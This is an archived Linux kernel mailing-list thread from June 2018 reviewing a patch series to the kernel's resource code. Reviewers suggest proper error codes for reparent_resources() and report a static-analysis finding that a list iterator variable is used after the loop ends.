 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1561eoWH0uzbU5w@public.gmane.org
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 16:18:03 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSk7V-000773-LZ
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 16:18:01 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 62036212869B3;
	Tue, 12 Jun 2018 07:20:12 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=2607:f8b0:400c:c08::243; helo=mail-ua0-x243.google.com;
 envelope-from=andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mail-ua0-x243.google.com (mail-ua0-x243.google.com
 [IPv6:2607:f8b0:400c:c08::243])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 5FB2D212869B1
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 07:20:10 -0700 (PDT)
Original-Received: by mail-ua0-x243.google.com with SMTP id d7-v6so1461146uam.13
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 07:20:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=zczbVX9wbQ2Psx/3oPa8JGEkahco6tMPawf6hsE5uRI=;
 b=F/bR23J3kWzniZOT12rfliVt0sgzxIM4JaORiLcRfod0vQsO4boGPav4GIJxPcyjiH
 bWpibHcdBv73HnDp2q4P3/+/85ufo51zHBR7pfnFFVRQoclKT6o3rc1RDFD/VQx3KiET
 FeoqcIqcXHXcUufnrSZgeeh6wsF7uoG08taXKF1Gx71Ezwu4UyX9FiQC9bLOYi/GgCGU
 OWRswFEdnlXm0gTw1JNJsppvnwj+udlMuTeZCcMRZ1aM1ZxfcCIGZwlFRZ0+WIhnoK8O
 omGj3wiqxxXxKWcTZFxhxNwEbqILsDI4V+UFzaeI7R+SyQYwMmOBtRvhO9EWaxYKAVnu
 G1xw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=zczbVX9wbQ2Psx/3oPa8JGEkahco6tMPawf6hsE5uRI=;
 b=owJEtpqYNx6tDHvaknGiCHUspv/zvk9SHW0U9gS9Ha84MXEVF5DCf6Lfaz4aqZFoWa
 mwLIKYhE/Pj8zfwOrrZ5JUOYCwbiLmikIb45cBcKvh+xa9B7pdcz7LbnvByD6M0sKfYK
 EJF6I0lJAsBMDEbTD2Xyu8A5zDrEAKmPKpJIJ25KVG7qrZF5dxXZR7r7cmV6azX17F3C
 WhWM1Js7d6NZ0UXNH0aSyu96JQkitJHmBuQlSHWE/ROOjpBYyv6ss+TSk2iy3l19v3s/
 nxnkh2TVdtFBuj3n4XR5Jv/kHp5bFJodIhYf0G5zsCfYINlCFRDxz3G4X/CpXEUffy1j
 jY7w==
X-Gm-Message-State: APt69E1I0F5rHD+lLdOK2pXt8F2PQZNWnW6PmYFbCUdSEWu7bM29yeBb
 L9oZjs+hqiJPTzsHzeBDtVB6qI4o3x2u7WPEqA4=
X-Google-Smtp-Source: ADUXVKL/lPgBfg43Vg5e1ricTkQz170bqlD3GiSFRBHE5ULk9P/b1MpQ41nHAGdd0IVMxrlQDGpkkLvgQpWzVuUB534=
X-Received: by 2002:ab0:1446:: with SMTP id c6-v6mr469640uae.12.1528813208841; 
 Tue, 12 Jun 2018 07:20:08 -0700 (PDT)
Original-Received: by 2002:a67:8b02:0:0:0:0:0 with HTTP; Tue, 12 Jun 2018 07:20:07
 -0700 (PDT)
In-Reply-To: <20180612093812.GC1820@MiWiFi-R3L-srv>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10308 gmane.linux.drivers.devicetree:274416 gmane.linux.kernel.pci:73209 gmane.linux.kernel.input:61536 gmane.linux.ports.parisc:28689 gmane.linux.kernel.kexec:20882 gmane.linux.kernel:2792427 gmane.linux.ports.ppc64.devel:158750
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10308>

On Tue, Jun 12, 2018 at 12:38 PM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> On 06/12/18 at 11:29am, Andy Shevchenko wrote:
>> On Tue, Jun 12, 2018 at 6:28 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:

>> > +{
>>
>> > +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
>> > +               if (p->end < res->start)
>> > +                       continue;
>> > +               if (res->end < p->start)
>> > +                       break;
>>
>> > +               if (p->start < res->start || p->end > res->end)
>> > +                       return -1;      /* not completely contained */
>>
>> Usually we are expecting real eeror codes.
>
> Hmm, I just copied it from arch/powerpc/kernel/pci-common.c. The
> function interface expects an integer returned value, not sure what a
> real error codes look like, could you give more hints? Will change
> accordingly.

I briefly looked at the code and error codes we have, so, my proposal
is one of the following
 - use -ECANCELED (not the best choice for first occurrence here,
though I can't find better)
 - use positive integers (or enum), like
  #define RES_REPARENTED 0
  #define RES_OVERLAPPED 1
  #define RES_NOCONFLICT 2


>> > +               if (firstpp == NULL)
>> > +                       firstpp = pp;
>> > +       }
>>
>> > +       if (firstpp == NULL)
>> > +               return -1;      /* didn't find any conflicting entries? */
>>
>> Ditto.

Ditto.

>>
>> > +}
>> > +EXPORT_SYMBOL(reparent_resources);

-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 17:24:47 +0300
Lines: 63
Approved: news@gmane.org
Message-ID: <CAHp75Vdaqj+n=F7wSB9PFGpf9Ok2XZzKcq_H0DzmtjmN-4UUfw@mail.gmail.com>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
 <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
 <20180612093812.GC1820@MiWiFi-R3L-srv>
 <CAHp75Vf_kBLkE6v=JyOdfNoWktWEfKs7JzRP1XEc4TeuT5xqfw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528813375 17264 195.159.176.226 (12 Jun 2018 14:22:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 14:22:55 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Keith Busch <keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1561eoWH0uzbU5w@public.gmane.org
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 16:22:46 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSkC4-00049I-Co
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 16:22:44 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 0A51921289DB5;
	Tue, 12 Jun 2018 07:24:50 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=2607:f8b0:400c:c05::241; helo=mail-vk0-x241.google.com;
 envelope-from=andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mail-vk0-x241.google.com (mail-vk0-x241.google.com
 [IPv6:2607:f8b0:400c:c05::241])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 4321D21144D1E
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 07:24:49 -0700 (PDT)
Original-Received: by mail-vk0-x241.google.com with SMTP id 128-v6so14496101vkf.8
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 07:24:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=JgApc3JgpACyDPZx9m72HajuY+sjW1udzb/oHGEBvic=;
 b=U5qAqDVOwRdqr/prYLBg4kkNwW6DOx384sSzLiyix6N/wLIhvFHzNnB5DzTzah83Ue
 YcW/rfrcTh1OxpMFj2ycGobTTX2+Y5u6oUKmNz2sMggk9mW5oxIf+p6kWVWGLLTmQqY9
 FdHQx5yrH7rVnHVvMP90vJCGhUTRnI+vjKICHMnLxmwa/00U5S+asJ066sdeX+bKvw4V
 5jDJpOtppHOc0m2rFTsAFFvo9By/pXppAGLnKifaJowyRFug483DRQJ/kaSVZHAfMeMz
 0cjR853fY2GOPOjWjncd/vKkDYIihPxcucgxxBEvH2KvXviUJT0kT2kq9qJsFTyU9crt
 Wgeg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=JgApc3JgpACyDPZx9m72HajuY+sjW1udzb/oHGEBvic=;
 b=ema3idVyw/brr6lOxP1OQfQ6MOSc5ZpO6djfrpmG5TCpbFR2xsGNl4rodfe1CHYk98
 US66ExygMauK64RlrCa5nloW0kzbHz8MqIajs4uCTjMMY+0M/En5955vjxmbccpBTUam
 FAKB3RzpXI7gVRsUUoqcyr9isg2YyBSAatebl12u+ONm3sDonW6LGxCeo2dFNa4fuSyd
 9+g2ytyL/OwdswTv/1LpuW0YQptBNiRiEhC8bvIbv2eJAkuanMN2aJr5jSRClchfvyIn
 jhevMfWyEBQTwUYOZcm9Lh73T/DUjGOnWI58udBUvhagrlkhV1XkoohMyzXdML3tjE8/
 BlOw==
X-Gm-Message-State: APt69E3+GvkjRpBKCTHkkVU72GcTrP7m5BzIKOsStO8mdBio2KgkhTEs
 dsIyhtFckKip3RdIz2YEq222HnmULttsIRBJs70=
X-Google-Smtp-Source: ADUXVKIb8DAgMElPFs8CCbJ5eP2HKGKkeww/L72fahJQ1IRM5+hdmFh/OB9w7Cqw1Aps8kHhSUNrIal5cLyPn2a3Bwg=
X-Received: by 2002:a1f:860b:: with SMTP id i11-v6mr411154vkd.15.1528813488226; 
 Tue, 12 Jun 2018 07:24:48 -0700 (PDT)
Original-Received: by 2002:a67:8b02:0:0:0:0:0 with HTTP; Tue, 12 Jun 2018 07:24:47
 -0700 (PDT)
In-Reply-To: <CAHp75Vf_kBLkE6v=JyOdfNoWktWEfKs7JzRP1XEc4TeuT5xqfw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10309 gmane.linux.drivers.devicetree:274417 gmane.linux.kernel.pci:73210 gmane.linux.kernel.input:61537 gmane.linux.ports.parisc:28690 gmane.linux.kernel.kexec:20883 gmane.linux.kernel:2792429 gmane.linux.ports.ppc64.devel:158751
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10309>

On Tue, Jun 12, 2018 at 5:20 PM, Andy Shevchenko
<andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:
> On Tue, Jun 12, 2018 at 12:38 PM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
>> On 06/12/18 at 11:29am, Andy Shevchenko wrote:
>>> On Tue, Jun 12, 2018 at 6:28 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
>
>>> > +{
>>>
>>> > +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
>>> > +               if (p->end < res->start)
>>> > +                       continue;
>>> > +               if (res->end < p->start)
>>> > +                       break;
>>>
>>> > +               if (p->start < res->start || p->end > res->end)
>>> > +                       return -1;      /* not completely contained */
>>>
>>> Usually we are expecting real eeror codes.
>>
>> Hmm, I just copied it from arch/powerpc/kernel/pci-common.c. The
>> function interface expects an integer returned value, not sure what a
>> real error codes look like, could you give more hints? Will change
>> accordingly.
>
> I briefly looked at the code and error codes we have, so, my proposal
> is one of the following

>  - use -ECANCELED (not the best choice for first occurrence here,
> though I can't find better)

Actually -ENOTSUPP might suit the first case (although the actual
would be something like -EOVERLAP, which we don't have)

>  - use positive integers (or enum), like
>   #define RES_REPARENTED 0
>   #define RES_OVERLAPPED 1
>   #define RES_NOCONFLICT 2
>
>
>>> > +               if (firstpp == NULL)
>>> > +                       firstpp = pp;
>>> > +       }
>>>
>>> > +       if (firstpp == NULL)
>>> > +               return -1;      /* didn't find any conflicting entries? */
>>>
>>> Ditto.
>
> Ditto.
>
>>>
>>> > +}
>>> > +EXPORT_SYMBOL(reparent_resources);
>
> --
> With Best Regards,
> Andy Shevchenko



-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julia Lawall <julia.lawall-L2FTfq7BK8M@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 2/4] resource: Use list_head to link sibling resource
Date: Tue, 12 Jun 2018 17:10:12 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1806121708070.3334@hadrien>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528816101 19765 195.159.176.226 (12 Jun 2018 15:08:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 15:08:21 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 kbuild-all-JC7UmRfGjtg@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev@lists.o
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 17:08:13 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSku3-0004yh-HS
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 17:08:11 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 82130212909E7;
	Tue, 12 Jun 2018 08:10:22 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Neutral (access neither permitted nor denied) identity=mailfrom;
 client-ip=192.134.164.83; helo=mail2-relais-roc.national.inria.fr;
 envelope-from=julia.lawall-L2FTfq7BK8M@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mail2-relais-roc.national.inria.fr
 (mail2-relais-roc.national.inria.fr [192.134.164.83])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id B1466212909DE
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 08:10:19 -0700 (PDT)
X-IronPort-AV: E=Sophos;i="5.51,215,1526335200"; d="scan'208";a="331495759"
Original-Received: from vaio-julia.rsr.lip6.fr ([132.227.76.33])
 by mail2-relais-roc.national.inria.fr with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 12 Jun 2018 17:10:17 +0200
X-X-Sender: jll@hadrien
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10311 gmane.linux.kernel.pci:73212 gmane.linux.kernel.input:61539 gmane.linux.drivers.devicetree:274429 gmane.linux.ports.parisc:28691 gmane.linux.kernel.kexec:20884 gmane.linux.ports.ppc64.devel:158754
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10311>

This looks wrong.  After a list iterator, the index variable points to a
dummy structure.

julia

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600
:::::: branch date: 7 hours ago
:::::: commit date: 7 hours ago

>> kernel/resource.c:265:17-20: ERROR: invalid reference to the index variable of the iterator on line 253

# https://github.com/0day-ci/linux/commit/e906f15906750a86913ba2b1f08bad99129d3dfc
git remote add linux-review https://github.com/0day-ci/linux
git remote update linux-review
git checkout e906f15906750a86913ba2b1f08bad99129d3dfc
vim +265 kernel/resource.c

^1da177e4 Linus Torvalds 2005-04-16  247
5eeec0ec9 Yinghai Lu     2009-12-22  248  static void __release_child_resources(struct resource *r)
5eeec0ec9 Yinghai Lu     2009-12-22  249  {
e906f1590 Baoquan He     2018-06-12  250  	struct resource *tmp, *next;
5eeec0ec9 Yinghai Lu     2009-12-22  251  	resource_size_t size;
5eeec0ec9 Yinghai Lu     2009-12-22  252
e906f1590 Baoquan He     2018-06-12 @253  	list_for_each_entry_safe(tmp, next, &r->child, sibling) {
5eeec0ec9 Yinghai Lu     2009-12-22  254  		tmp->parent = NULL;
e906f1590 Baoquan He     2018-06-12  255  		INIT_LIST_HEAD(&tmp->sibling);
5eeec0ec9 Yinghai Lu     2009-12-22  256  		__release_child_resources(tmp);
5eeec0ec9 Yinghai Lu     2009-12-22  257
5eeec0ec9 Yinghai Lu     2009-12-22  258  		printk(KERN_DEBUG "release child resource %pR\n", tmp);
5eeec0ec9 Yinghai Lu     2009-12-22  259  		/* need to restore size, and keep flags */
5eeec0ec9 Yinghai Lu     2009-12-22  260  		size = resource_size(tmp);
5eeec0ec9 Yinghai Lu     2009-12-22  261  		tmp->start = 0;
5eeec0ec9 Yinghai Lu     2009-12-22  262  		tmp->end = size - 1;
5eeec0ec9 Yinghai Lu     2009-12-22  263  	}
e906f1590 Baoquan He     2018-06-12  264
e906f1590 Baoquan He     2018-06-12 @265  	INIT_LIST_HEAD(&tmp->child);
5eeec0ec9 Yinghai Lu     2009-12-22  266  }
5eeec0ec9 Yinghai Lu     2009-12-22  267

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
